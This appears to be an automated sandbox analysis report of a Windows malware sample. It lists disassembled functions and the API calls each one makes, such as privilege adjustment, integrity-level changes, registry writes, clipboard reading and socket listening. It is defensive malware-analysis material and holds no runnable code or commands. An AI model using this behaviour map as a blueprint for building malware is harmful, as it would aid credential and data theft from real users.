    Function 0040EFC2, Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 154
    APIs
    • DialogBoxParamW.USER32 ref: 0040EFC2
    • CreateWindowExW.USER32 ref: 0040EFC8
    • MapAndLoad.IMAGEHLP(qp94D50i,bb8usr6,?,00000000,00000000), ref: 0040EFED
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040F376
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004107F4, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 135
    APIs
    • ClosePrinter.WINSPOOL.DRV ref: 004107F4
    • RegCloseKey.ADVAPI32 ref: 004107F9
    • MapAndLoad.IMAGEHLP(Kl2,a177vH5,?,00000000,00000000), ref: 00410865
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00410B55
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040F90C, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 133
    APIs
    • GlobalFree.KERNEL32 ref: 0040F90C
    • GetDC.USER32 ref: 0040F912
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041212B, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 113
    APIs
    • SelectObject.GDI32 ref: 0041212B
    • DrawTextExW.USER32 ref: 00412131
    • MapAndLoad.IMAGEHLP(T75,cb842j46,?,00000000,00000000), ref: 004122CD
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041DD7A, Relevance: 10.6, APIs: 7, Instructions: 109
    APIs
      • Part of subcall function 0041DED6: PathCombineW.SHLWAPI(?,?,?), ref: 0041DEF5
    • FindFirstFileW.KERNEL32(?,?), ref: 0041DDB9
    • WaitForSingleObject.KERNEL32(?,00000000), ref: 0041DDE0
      • Part of subcall function 0041DD7A: PathMatchSpecW.SHLWAPI(?,?), ref: 0041DE2A
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE57
      • Part of subcall function 0041DD7A: Sleep.KERNEL32(00000000), ref: 0041DE87
    • FindNextFileW.KERNEL32(?,?), ref: 0041DEB5
    • FindClose.KERNEL32(?), ref: 0041DEC7
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00409DCF, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 108
    APIs
    • IsClipboardFormatAvailable.USER32 ref: 00409DCF
    • DragAcceptFiles.SHELL32 ref: 00409DD5
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00415303, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 98
    APIs
    • GetKeyboardLayout.USER32 ref: 00415303
    • LoadLibraryA.KERNEL32 ref: 00415309
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004153B4
    • MapAndLoad.IMAGEHLP(o49CGpS9,CFbR0,?,00000000,00000000), ref: 0041549D
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00426166, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 95
    APIs
    • GetModuleHandleA.KERNEL32(?), ref: 00426181
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 0042619F
    • VirtualQuery.KERNEL32(?,?,0000001C), ref: 004261AD
    • IsBadReadPtr.KERNEL32(?,00000010), ref: 0042623C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040FA5A, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 87
    APIs
    • GetDC.USER32 ref: 0040FA5A
    • GetCurrentProcess.KERNEL32 ref: 0040FA60
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040FA94
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00419F62, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 84
    APIs
      • Part of subcall function 0041D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 0041D9DF
    • CharToOemW.USER32(?,?), ref: 00419F93
    • GetEnvironmentVariableW.KERNEL32(ComSpec,?,00000104), ref: 0041A00F
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
      • Part of subcall function 0041D7AA: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0041D7C4
      • Part of subcall function 0041D7AA: WriteFile.KERNEL32(?,00000000,00000000,00000000,00000000), ref: 0041D7E7
      • Part of subcall function 0041D7AA: CloseHandle.KERNEL32 ref: 0041D7F4
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 00418E94: wvnsprintfW.SHLWAPI(?,0000003C,?,?), ref: 00418EB4
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004202D7, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76
    APIs
    • GetCurrentThread.KERNEL32 ref: 004202E2
    • SetThreadPriority.KERNEL32 ref: 004202E9
      • Part of subcall function 00407ED5: CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 00407EF6
      • Part of subcall function 004080FF: PathRenameExtensionW.SHLWAPI(?,.dat), ref: 0040817A
    • PathQuoteSpacesW.SHLWAPI(0000005C), ref: 00420344
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • WaitForSingleObject.KERNEL32(000000C8), ref: 00420382
      • Part of subcall function 0041C7EE: RegCreateKeyExW.ADVAPI32(80000001,7C809F91,00000000,00000000,00000000,00000002,00000000,00000000,00000000), ref: 0041C80C
      • Part of subcall function 0041C7EE: RegSetValueExW.ADVAPI32(00000000,?,00000000,?,00000004,?), ref: 0041C826
      • Part of subcall function 0041C7EE: RegCloseKey.ADVAPI32(00000000), ref: 0041C835
    • WaitForSingleObject.KERNEL32(000000C8,?), ref: 004203B8
      • Part of subcall function 0041BD18: ReleaseMutex.KERNEL32 ref: 0041BD1C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00419BF4, Relevance: 10.6, APIs: 7, Instructions: 74
    APIs
    • OpenProcessToken.ADVAPI32(000000FF,00000008,00407CC0), ref: 00419C04
    • GetTokenInformation.ADVAPI32(00407CC0,00000019,00000000,00000000,00432F90), ref: 00419C24
    • GetLastError.KERNEL32(?,?,?,?,?,00407855,00000000,00407CC0,00432F90), ref: 00419C2A
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • GetTokenInformation.ADVAPI32(00407CC0,00000019,?,00432F90,00432F90), ref: 00419C51
    • GetSidSubAuthorityCount.ADVAPI32(?,?,00432F90,00432F90,?,?,?,?,?,?,00407855,00000000,00407CC0,00432F90), ref: 00419C59
    • GetSidSubAuthority.ADVAPI32(?,?,?,?,00432F90,00432F90,?,?,?,?,?,?,00407855,00000000,00407CC0,00432F90), ref: 00419C70
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CloseHandle.KERNEL32(00407CC0), ref: 00419C9B
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 004286E2, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70
    APIs
    • GetClipboardData.USER32(?), ref: 004286EB
      • Part of subcall function 0040803E: WaitForSingleObject.KERNEL32(00000000,0040A714), ref: 00408046
    • GlobalLock.KERNEL32 ref: 0042871F
    • EnterCriticalSection.KERNEL32(00434170,00000000), ref: 0042875F
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428407
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428428
      • Part of subcall function 004283EA: EnterCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 00428439
      • Part of subcall function 004283EA: LeaveCriticalSection.KERNEL32(00434170,?,?,?,?,004286D2,00000000,?,?,?,00000009,00000000), ref: 004284C1
    • LeaveCriticalSection.KERNEL32(00434170,?,00407298), ref: 00428776
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • GlobalUnlock.KERNEL32(?), ref: 00428789
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00412240, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 65
    APIs
    • GetFocus.USER32 ref: 00412240
    • GetTickCount.KERNEL32 ref: 00412246
    • MapAndLoad.IMAGEHLP(T75,cb842j46,?,00000000,00000000), ref: 004122CD
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004153D4, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 62
    APIs
    • GlobalLock.KERNEL32 ref: 004153D4
    • IsDialogMessageW.USER32 ref: 004153DA
    • SendMessageW.USER32 ref: 004153E0
    • MapAndLoad.IMAGEHLP(o49CGpS9,CFbR0,?,00000000,00000000), ref: 0041549D
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041CA60, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60
    APIs
    • RegCreateKeyExW.ADVAPI32(80000001,SOFTWARE\Microsoft,00000000,00000000,00000000,00000004,00000000,?,00000000), ref: 0041CA88
      • Part of subcall function 0041C8C5: CharUpperW.USER32(?,?,.exe,00000000), ref: 0041C9E6
    • RegCreateKeyExW.ADVAPI32(?,?,00000000,00000000,00000000,00000003,00000000,?,?), ref: 0041CABA
    • RegCloseKey.ADVAPI32(?), ref: 0041CAC3
    • RegCloseKey.ADVAPI32(?), ref: 0041CADD
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00419B6C, Relevance: 10.6, APIs: 7, Instructions: 52
    APIs
    • GetCurrentThread.KERNEL32 ref: 00419B7C
    • OpenThreadToken.ADVAPI32 ref: 00419B83
    • OpenProcessToken.ADVAPI32(000000FF,00000020,00429F61), ref: 00419B95
    • LookupPrivilegeValueW.ADVAPI32(00000000,00429F61,?), ref: 00419BB9
    • AdjustTokenPrivileges.ADVAPI32(00429F61,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
    • GetLastError.KERNEL32 ref: 00419BD8
    • CloseHandle.KERNEL32(00429F61), ref: 00419BE7
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042BA81, Relevance: 10.5, APIs: 7, Instructions: 47
    APIs
    • CloseHandle.KERNEL32 ref: 0042BA8D
    • SelectObject.GDI32(00000000,00000000), ref: 0042BAA7
    • DeleteObject.GDI32(00000000), ref: 0042BAB8
    • DeleteDC.GDI32(00000000), ref: 0042BAC5
    • CloseHandle.KERNEL32(00000000), ref: 0042BAD6
    • WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0042BAE5
    • PostThreadMessageW.USER32(00000000,00000012,00000000,00000000,?,00000000,0042BC3C,00000000,004345C0,?,0000004C,00000014,?,00000000,?,00000002), ref: 0042BAFE
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32(00000000), ref: 00419EC2
      • Part of subcall function 00419EB0: CloseHandle.KERNEL32 ref: 00419ECB
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040D837, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 46
    APIs
    • PostMessageW.USER32 ref: 0040D837
    • CreateFileW.KERNEL32 ref: 0040D83D
    • MapAndLoad.IMAGEHLP(CK86,d91a9p0,?,00000000,00000000), ref: 0040D8D3
    • IsBadStringPtrW.KERNEL32(?,00000200), ref: 0040D943
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040FB4E, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 45
    APIs
    • SetWindowTextW.USER32 ref: 0040FB4E
    • SetActiveWindow.USER32 ref: 0040FB54
    • TranslateAcceleratorW.USER32 ref: 0040FB5A
    • MapAndLoad.IMAGEHLP(sq08VH,Few9w,?,00000000,00000000), ref: 0040FBFB
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041BBC6, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 43
    APIs
      • Part of subcall function 00419B6C: GetCurrentThread.KERNEL32 ref: 00419B7C
      • Part of subcall function 00419B6C: OpenThreadToken.ADVAPI32 ref: 00419B83
      • Part of subcall function 00419B6C: OpenProcessToken.ADVAPI32(000000FF,00000020,00429F61), ref: 00419B95
      • Part of subcall function 00419B6C: LookupPrivilegeValueW.ADVAPI32(00000000,00429F61,?), ref: 00419BB9
      • Part of subcall function 00419B6C: AdjustTokenPrivileges.ADVAPI32(00429F61,00000000,00000001,00000000,00000000,00000000), ref: 00419BCE
      • Part of subcall function 00419B6C: GetLastError.KERNEL32 ref: 00419BD8
      • Part of subcall function 00419B6C: CloseHandle.KERNEL32(00429F61), ref: 00419BE7
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;CIOI;NRNWNX;;;LW),00000001,?,00000000), ref: 0041BBE5
    • GetSecurityDescriptorSacl.ADVAPI32(?,?,00000000,00000000), ref: 0041BC01
    • SetNamedSecurityInfoW.ADVAPI32(?,00000001,00000010,00000000,00000000,00000000,00000000), ref: 0041BC18
    • LocalFree.KERNEL32(?), ref: 0041BC27
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040F4A4, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
    APIs
    • GetFileInformationByHandle.KERNEL32 ref: 0040F4A4
    • DragFinish.SHELL32 ref: 0040F4AA
    • SendMessageW.USER32 ref: 0040F4B0
    • MapAndLoad.IMAGEHLP(sV0,WvM,?,00000000,00000000), ref: 0040F53C
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00407E41, Relevance: 9.2, APIs: 6, Instructions: 223
    APIs
    • SetBkMode.GDI32 ref: 00407E41
    • TextOutW.GDI32 ref: 00407E47
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00407F76
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,?,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,?,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,?,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 00409E16
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A13E
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042CA22, Relevance: 9.2, APIs: 6, Instructions: 197
    APIs
    • GetAncestor.USER32(?,00000002), ref: 0042CA4B
    • SendMessageTimeoutW.USER32(?,00000021,?,?,00000002,00000064,?), ref: 0042CA76
    • PostMessageW.USER32(?,00000020,?), ref: 0042CAB8
      • Part of subcall function 0042C943: GetTickCount.KERNEL32 ref: 0042C9A9
      • Part of subcall function 0042C943: GetClassLongW.USER32(?,000000E6), ref: 0042C9DE
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CB4E
    • PostMessageW.USER32(?,00000112,?,?), ref: 0042CBA1
    • GetWindowThreadProcessId.USER32(?,00000000), ref: 0042CBE0
      • Part of subcall function 0042C7B3: WaitForSingleObject.KERNEL32(?,000000FF), ref: 0042C7B9
      • Part of subcall function 0042C7B3: ReleaseMutex.KERNEL32 ref: 0042C7ED
      • Part of subcall function 0042C7B3: IsWindow.USER32(?), ref: 0042C7F4
      • Part of subcall function 0042C7B3: PostMessageW.USER32(?,00000215,00000000,?), ref: 0042C80E
      • Part of subcall function 0042C7B3: SendMessageW.USER32(?,00000215,00000000,?), ref: 0042C816
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042B425, Relevance: 9.2, APIs: 6, Instructions: 170
    APIs
      • Part of subcall function 0041B7E9: select.WS2_32(00000000,?,00000000,00000000), ref: 0041B866
      • Part of subcall function 0041B7E9: WSASetLastError.WS2_32(0000274C), ref: 0041B877
    • WSAGetLastError.WS2_32(000000FF,?,000003E8,00000000,?,?,?), ref: 0042B465
    • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0042B47E
    • accept.WS2_32(?,?,?), ref: 0042B4A7
      • Part of subcall function 0041B93D: setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0041B953
      • Part of subcall function 0041B8FB: WSAIoctl.WS2_32(?,98000004,?,0000000C,00000000,00000000,?,00000000,00000000), ref: 0041B92E
      • Part of subcall function 0041B9A3: WSAAddressToStringW.WS2_32(?,?,00000000,?,?), ref: 0041B9C7
    • EnterCriticalSection.KERNEL32(004345A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 0042B56F
    • SetEvent.KERNEL32(?), ref: 0042B596
    • LeaveCriticalSection.KERNEL32(004345A0,?,00000000,?,?,?,?,00000080,?,?,?), ref: 0042B59D
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
      • Part of subcall function 0042B218: EnterCriticalSection.KERNEL32(004345A0,?,000000FF,?,0042B5CA,?,?,?,?), ref: 0042B221
      • Part of subcall function 0042B218: LeaveCriticalSection.KERNEL32(004345A0,?,000000FF,?,0042B5CA,?,?,?,?), ref: 0042B284
      • Part of subcall function 0042B218: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000), ref: 0042B2B6
      • Part of subcall function 0041C62D: SetLastError.KERNEL32(0000009B,004083E2,00000000,0042026D,00000000), ref: 0041C637
      • Part of subcall function 0041C62D: CreateThread.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041C65A
      • Part of subcall function 0042B2E3: EnterCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B2F4
      • Part of subcall function 0042B2E3: CloseHandle.KERNEL32(?), ref: 0042B330
      • Part of subcall function 0042B2E3: LeaveCriticalSection.KERNEL32(004345A0,?,?,0042B607,00000000,0042B388,?,000000FF,00000002,?,?,?,?,?), ref: 0042B37F
      • Part of subcall function 0041C5DB: WaitForSingleObject.KERNEL32(?,00000000), ref: 0041C5FA
      • Part of subcall function 0041C5DB: CloseHandle.KERNEL32(?), ref: 0041C606
      • Part of subcall function 0041B8E5: shutdown.WS2_32(?,00000002), ref: 0041B8ED
      • Part of subcall function 0041B8E5: closesocket.WS2_32 ref: 0041B8F4
